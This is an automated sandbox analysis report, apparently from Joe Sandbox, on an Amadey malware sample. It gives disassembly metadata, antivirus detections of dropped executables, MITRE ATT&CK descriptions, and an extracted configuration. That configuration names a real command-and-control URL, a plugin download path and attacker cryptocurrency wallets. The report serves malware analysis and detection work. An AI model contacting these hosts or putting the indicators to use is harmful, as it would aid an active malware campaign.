Instruction ID: 50d49fb74568d92861756df33495b87e9035f902b82f525928a0b2e592e3ab86
Opcode Fuzzy Hash: 12bedc33268aa85661004413620716a10b9250ced4d42ce02d833e0dee5310c7
Instruction Fuzzy Hash: 1811CA7223850FABD721FAF8AC8CD3B15DADBF1574B250224F7649718CDE6089418220

Uniqueness

Uniqueness Score: -1.00%

Function 0121E09B Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0121B7F5,0121DB7F,?,?,01218272,?,?,?,?,?,012020C3,?,?), ref: 0121E0A0
_free.LIBCMT ref: 0121E0FD
_free.LIBCMT ref: 0121E133
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,01218272,?,?,?,?,?,012020C3,?,?), ref: 0121E13E

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: bee2f894a4044ca463065a71bcfd1268ddc4cd11a1a9a59c9ea20ff0f6b67f18
Instruction ID: 458ddf843694ba92eae7eb39442349f109edcb4940a435b0f04d1a31cec99391
Opcode Fuzzy Hash: bee2f894a4044ca463065a71bcfd1268ddc4cd11a1a9a59c9ea20ff0f6b67f18
Instruction Fuzzy Hash: A111A9722245076AD733E6B9BC88D7B25DAD7F1674B270324FA24A72CCDEB18C454220

Uniqueness

Uniqueness Score: -1.00%

Function 0121E87D Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0121E9E2,00000000,?,0122370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 0121E893
GetLastError.KERNEL32(?,0122370A,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,0121E9E2,00000000,00000104,?), ref: 0121E89D
__dosmaperr.LIBCMT ref: 0121E8A4

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 069ea89bdc129c4efc31c4ed18ecf410ec777fe5ef9252dc8cec2d5d05ac2b42
Instruction ID: fe04bfee7f97164045d602d5bc80cbb932bae574f0919cb4db90636ac02c27af
Opcode Fuzzy Hash: 069ea89bdc129c4efc31c4ed18ecf410ec777fe5ef9252dc8cec2d5d05ac2b42
Instruction Fuzzy Hash: 60F03632610116BB9B32AFA6DC0C95ABFE9FF642A03174521FE19D6124C771E811D7D0

Uniqueness

Uniqueness Score: -1.00%

Function 0121E8E6 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,0121E9E2,00000000,?,01223695,00000000,00000000,0121E9E2,?,?,00000000,00000000,00000001), ref: 0121E8FC
GetLastError.KERNEL32(?,01223695,00000000,00000000,0121E9E2,?,?,00000000,00000000,00000001,00000000,00000000,?,0121E9E2,00000000,00000104), ref: 0121E906
__dosmaperr.LIBCMT ref: 0121E90D

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 3316dd55db9d59a57d31e2357c3db4495827c626acaf9432778322bc2b29c7b3
Instruction ID: 29b290943e5b64bbdaa35fb463aa871bd8dab7068549bd302d7dfa97a8a53efe
Opcode Fuzzy Hash: 3316dd55db9d59a57d31e2357c3db4495827c626acaf9432778322bc2b29c7b3
Instruction Fuzzy Hash: 47F06D32210116BB8B329FA6DD0895ABFEAFF642A031A4524FE18D6118C731E811DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 0122638F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(01205140,0000000F,012368F8,00000000,01205140,?,01225AA7,01205140,00000001,01205140,01205140,?,01222ECD,00000000,?,01205140), ref: 012263A6
GetLastError.KERNEL32(?,01225AA7,01205140,00000001,01205140,01205140,?,01222ECD,00000000,?,01205140,00000000,01205140,?,01223421,01205140), ref: 012263B2

Part of subcall function 01226378: CloseHandle.KERNEL32(FFFFFFFE,012263C2,?,01225AA7,01205140,00000001,01205140,01205140,?,01222ECD,00000000,?,01205140,00000000,01205140), ref: 01226388

___initconout.LIBCMT ref: 012263C2

Part of subcall function 0122633A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,01226369,01225A94,01205140,?,01222ECD,00000000,?,01205140,00000000), ref: 0122634D

WriteConsoleW.KERNEL32(01205140,0000000F,012368F8,00000000,?,01225AA7,01205140,00000001,01205140,01205140,?,01222ECD,00000000,?,01205140,00000000), ref: 012263D7

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a601b3fb524f75fd27d41a4aaea8102b077b7d9b7078effb29084edf27fa6be2
Instruction ID: 40f8832c9ed1828bad782fe3ac56566ae94f276cfc39d76d5774f779a84530bc
Opcode Fuzzy Hash: a601b3fb524f75fd27d41a4aaea8102b077b7d9b7078effb29084edf27fa6be2
Instruction Fuzzy Hash: D6F03037410275BBCF321F95FC08AAD3F66FB496A1B054010FE18A5220C6328921EB91

Uniqueness

Uniqueness Score: -1.00%

Function 012171BA Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,01217157,00000064), ref: 012171DD
LeaveCriticalSection.KERNEL32(01239708,000000FF,?,01217157,00000064,?,?,?,01203E30,0123C468,FDD920DC,?,00000000,01228818,000000FF), ref: 012171E7
WaitForSingleObjectEx.KERNEL32(000000FF,00000000,?,01217157,00000064,?,?,?,01203E30,0123C468,FDD920DC,?,00000000,01228818,000000FF), ref: 012171F8
EnterCriticalSection.KERNEL32(01239708,?,01217157,00000064,?,?,?,01203E30,0123C468,FDD920DC,?,00000000,01228818,000000FF), ref: 012171FF

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 48e23567e5cdb1aa52fde391412093aead030c990d402acd07fa8040c4abd723
Instruction ID: b276bc2d9daf77d3e1600927287c882769e86cd16dc3f54715d412312443f861
Opcode Fuzzy Hash: 48e23567e5cdb1aa52fde391412093aead030c990d402acd07fa8040c4abd723
Instruction Fuzzy Hash: 6FE01271561124BBCE371F51FC0EACD3E55FB5AB65B111020F60566298CBE159809BD1

Uniqueness

Uniqueness Score: -1.00%

Function 0121C8BB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0121C8C4

Part of subcall function 0121D653: HeapFree.KERNEL32(00000000,00000000,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?), ref: 0121D669
Part of subcall function 0121D653: GetLastError.KERNEL32(?,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?,?), ref: 0121D67B

_free.LIBCMT ref: 0121C8D7
_free.LIBCMT ref: 0121C8E8
_free.LIBCMT ref: 0121C8F9

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ba941da99c208dc46aab12ff908373625b3049d92ab75f84909461eb1ba1e02b
Instruction ID: 5ecec00d1272dde108965d8d9952e0631cbac9172d0b6a2dd1b718d07729823a
Opcode Fuzzy Hash: ba941da99c208dc46aab12ff908373625b3049d92ab75f84909461eb1ba1e02b
Instruction Fuzzy Hash: 27E04F70414262DECB21AF54F84C8997BE1A7B9B547014817E6286321CEA7605D5DB84

Uniqueness

Uniqueness Score: -1.00%

Function 0120B5E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 481COMMON

Download Yara Rule

Strings

-, xrefs: 0120BBF6

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 724313b641268ca241a63825fe3713c7cf57229635aae53ff3b101e4d6d26445
Instruction ID: 1ef737274e2fd6dcda5a5abcaf92c845010a77f762fa1d850e2ce69929d1a91c
Opcode Fuzzy Hash: 724313b641268ca241a63825fe3713c7cf57229635aae53ff3b101e4d6d26445
Instruction Fuzzy Hash: F522BFB4D202599BEF25EB24CD497DDBBB5AB62308F5441D8C409272C6EB750F88CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0120EEA0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 317COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 0120F054
std::_Xinvalid_argument.LIBCPMT ref: 0120F51E

Strings

invalid stoi argument, xrefs: 0120EE74, 0120F519
stoi argument out of range, xrefs: 0120EE7E, 0120F50F

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: PathTempXinvalid_argumentstd::_
String ID: invalid stoi argument$stoi argument out of range
API String ID: 3948722134-1606216832
Opcode ID: 849d287790c77d23fb8f8e6afdfb98757128ae9aa48655b9eea1e64dd1001344
Instruction ID: 1dd6de0cd1c6fc1b144c54823d0cc0717a4378f646d9378adf2a9419d28aba03
Opcode Fuzzy Hash: 849d287790c77d23fb8f8e6afdfb98757128ae9aa48655b9eea1e64dd1001344
Instruction Fuzzy Hash: 9CC14AB16203489BDB25DF38CD8579C7FB5AFA6314F54429CE904973C6C7358B848B92

Uniqueness

Uniqueness Score: -1.00%

Function 0121BF2A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 0121BF6D, 0121BF74, 0121BFAA

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-2143882575
Opcode ID: 3c524fe2804248ff4dd3d7f292854a3ff79e3188f511db76e58cce8fd7a30fac
Instruction ID: bd2d57e6ef892d273fdb7bd9d22d8ff842b81ce39bab89ac1e5c403378400d8b
Opcode Fuzzy Hash: 3c524fe2804248ff4dd3d7f292854a3ff79e3188f511db76e58cce8fd7a30fac
Instruction Fuzzy Hash: AD41BB75E6021AAFDB21DF9DD8849AEBBF8EFAA310F100056F604D7204D6B14A50CB94

Uniqueness

Uniqueness Score: -1.00%

Function 01218F7D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 01218FA2

Strings

RCC, xrefs: 01218FBC
MOC, xrefs: 01218FB4

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 851ae3e9c570af5c9baea1d48a4ba6e8f6c8c0f9b1d37e2c3326f038859525fd
Instruction ID: 64e926f3baf4adbb6d2149ddc54c9b2f8af1cace93a1dc7b92f10ef007b8179b
Opcode Fuzzy Hash: 851ae3e9c570af5c9baea1d48a4ba6e8f6c8c0f9b1d37e2c3326f038859525fd
Instruction Fuzzy Hash: D6414C7291020AAFDF16DF98CC81AEEBBF5FF68304F194059FA08A7215D3359990DB51

Uniqueness

Uniqueness Score: -1.00%

Function 0121207A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 01212093

Strings

5120, xrefs: 012120DA
H, xrefs: 01212146

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: 5120$H
API String ID: 514040917-2391956277
Opcode ID: db8cd6a150de5f719789b4510e52280fd4e0811c950de64a7f4b4171afbd6630
Instruction ID: 453c1f61f7fa2765f3aff83276c4e54de9bc86dcbec6dab986dfdc9bbad9df9a
Opcode Fuzzy Hash: db8cd6a150de5f719789b4510e52280fd4e0811c950de64a7f4b4171afbd6630
Instruction Fuzzy Hash: B921ACB0910348ABDB24EF28C9467ED7FF5AB22304F5401CCD54967286D7754B488BA3

Uniqueness

Uniqueness Score: -1.00%

Source: 62.204.41.4/Gol478Ns/index.php	Avira URL Cloud: Label: malware
Source: http://62.204.41.4/Gol478Ns/index.php	Avira URL Cloud: Label: malware
Source: http://62.204.41.4/Gol478Ns/Plugins/clip64.dll	Avira URL Cloud: Label: malware

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	ReversingLabs: Detection: 80%

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\aPsf.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	Joe Sandbox ML: detected

Source: 32.0.mnolyk.exe.1b0000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}
Source: 26.2.rundll32.exe.6ec20000.0.unpack	Malware Configuration Extractor: Amadey {"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003D2F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,		0_2_003D2F1D
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe	Code function: 1_2_00F32F1D GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,SetCurrentDirectoryA,		1_2_00F32F1D

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Amadey

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nika.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aPsf.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\clip64[1].dll

C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\bPsg.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe

